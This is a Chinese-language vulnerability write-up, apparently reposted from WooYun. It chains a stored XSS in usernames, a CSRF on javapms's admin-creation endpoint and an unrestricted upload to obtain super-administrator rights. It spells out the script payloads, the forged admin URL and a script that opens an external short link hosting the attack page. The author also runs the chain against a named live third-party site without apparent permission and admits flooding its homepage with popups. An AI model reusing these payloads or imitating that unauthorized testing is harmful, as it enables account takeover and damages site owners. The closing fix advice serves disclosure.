记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

开源java建站软件javapms存储型跨站结合CSRF可获取管理员权限

2014-10-07 22:32

这个用到了javapms系统的3个漏洞:一个存储型XSS、一个新建管理员功能的CSRF和一处允许html文件的上传漏洞。一一道来:

存储型XSS:

代码中输出用户名的地方很多没有进行html编码,通过评论或者其他办法让自己的带有跨站代码的用户名被当作脚本输出,可以对浏览页面的用户造成跨站脚本攻击。

注册用户名为:

<script>alert(/xss/)</script>

注册时,只在前端对用户名特殊字符进行了限制,通过抓包提交即可。

1.png



2.png



这个弹窗是因为登录后左上角显示用户名造成的,如何让其他用户一打开首页就中招呢?

看这里:

3.png



试试狂评论一篇文章:

4.png



就评这篇文章,评论完退出账号,再打开网站首页:

5.png



滚到刚才发表的评论处,跨站被执行了。



CSRF:

管理员新建管理员功能存在CSRF漏洞:

以管理员身份登录后,访问:

http://localhost:8080/javapms/admin/admin/o_save.do?username=test1&email=&password=111111&repassword=111111&realName=&selectdepartId=信息中心&departId=1&mobile=&phone=&manageStatus=2&roleId=1&takeDepart=true

6.png



7.png



想想将二者结合起来,XSS中的脚本写成管理员新建用户的URL,当管理员登录后打开首页,脚本被触发,即可新建用户。



想得是挺好的,怎奈将那么长的URL写进script里以后,报了个500。。。



查下数据库:

8.png



限制了50个字符。

于是确定,URL肯定不能直接写到用户名里,想到了短链接。

写了个html:

9.png



把它传到外网的地址上,然后生成个新浪微博短链接:

http://t.cn/RvBI6Es

于是,再注册一个用户,名为:

<script>open("http://t.cn/RvBI6Es")</script>

登录后发表评论,再退出来以管理员身份登录打开首页:

10.png



然后我们用这个账号登录后台试试,后台地址:

http://localhost:8080/javapms/admin/login.do

11.png



超级管理员哦!



一开始还提到了要用到一个上传漏洞,具体是这样的:

会员中心可以上传头像,这里没有限制文件类型,我们上面要拿来写脚本的html文件,完全可以传到这里:

12.png



提交后,邮件查看图片地址:

http://localhost:8080/javapms//member/upload/pms/201407/041504358c40.html

是不是很方便,由于就在本站下,甚至没有跨域的限制。

漏洞证明:

外网验证:

找个倒霉蛋:

http://61.133.238.121/

这个站用的就是javapms,按照上面方法传个跨站脚本进去:

这个站似乎有bug,头像上传那里地址解析错误,传错路径了,所以还是先传别的地方吧。。。

注册用户名:

注册用户名:

<script>open("http://t.cn/RvghRk2")</script>

狂发评论后退出。

以一个普通用户登录看看跨站发出去的效果:

13.png



URL和参数都对,只待管理员权限了。

到目前为止,管理员还没有上首页去触发漏洞,但是漏洞是绝对真实存在的。

试了好几个账号,首页现在被弄得疯狂弹窗口,对不住人家啊。。。

修复方案:

1.修复XSS,进行html编码输出,类似的没有进行编码就输出的点还有几个,我只列出了首页的用户名,此外还有后台的用户名编辑处的用户名邮箱电话什么的,都可能被跨站攻击。这个软件大部分地方编码做的都不错,就是落了几个。

2.进行token验证,防止CSRF。

知识来源: www.wooyun.org/bugs/wooyun-2014-067865

阅读:281869 | 评论:0 | 标签:跨站 CSRF

想收藏或者和大家分享这篇好文章→复制链接地址

“开源java建站软件javapms存储型跨站结合CSRF可获取管理员权限”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云